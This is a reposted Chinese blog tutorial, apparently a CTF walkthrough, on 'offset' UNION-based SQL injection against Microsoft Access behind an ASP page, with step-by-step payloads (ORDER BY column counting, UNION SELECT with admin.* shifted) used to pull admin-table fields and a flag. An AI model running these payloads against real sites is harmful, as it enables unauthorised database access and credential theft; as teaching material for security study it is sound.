Web - Access偏移溢注
Posted 1ta-chi
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Web - Access偏移溢注相关的知识,希望对你有一定的参考价值。
知识点
之前的查询数据都是先表名,再字段…但是在Access数据库中,可没有什么“系统自带库”,这个时候,哼哼,就要来点花活了
丑话说在前面,Access中的表名是无解的,要么跑字典,要么猜
选中:
库.表.字段
*
:通配符,表示所有
表.*
:所有字段
偏移溢注:当原表字段大于我要查询的表的字段的时候,就要用到偏移溢注
是不是觉得我没说明白,来感受一下:
select * from login where username='$username' //假设 login 表 6 个字段
union
select 1,2,admin.* from admin; //假设 admin 表 4 个字段
可以用1,2
来补位,更甚之移动admin.*
的位置!!
这就叫偏移注入!
实战
拿到一个做的跟非法网站一样的东西,随便点一个进去看一下
看到是ASP写的,而且有GET传参,可以在Cookie上动点手脚
尝试注入:id=171' -- qwe
不能闭合,不闭合试试,直接排字段:id=171 order by 1
果然没有闭合,最后查出来是十个字段,猜测表名是admin
,而且测出来admin
表的字段比这个页面的字段数还要大,就在这几个页面里试,最终找到比admin
表的字段大的
发现id=105
这个页面有26个字段,查一下回显点:id=105 and 1=2 union select 11111,21111,31111,41111,51111,61111,71111,81111,91111,101111,111111,121111,131111,141111,151111,161111,171111,181111,191111,201111,211111,221111,231111,241111,251111,261111 from admin
发现回显点为:3,5,7,25
这里注意,如果不写and 1=2
是正常页面,写了就不会回显正常页面而输出我们想看到的回显点!
要检查源码!它里面也有输出点呢!!!
现在开始将26
替换为admin.*
,以此来判断一下admin
表里有几个字段,逐次删除位数,直到页面正常回显:id=105 union select 1,2,31111,4,51111,6,71111,8,9,10,admin.* from admin
看来admin
表有16
个字段,而且倒数第二个字段是" "
,接下来就是偏移溢注,其实就是把admin.*
一直向左移,查敏感字段id=105 union select 1,2,31111,4,51111,6,71111,8,9,admin.*,26 from admin
移了一下flag就来啦,耶比耶比
以上是关于Web - Access偏移溢注的主要内容,如果未能解决你的问题,请参考以下文章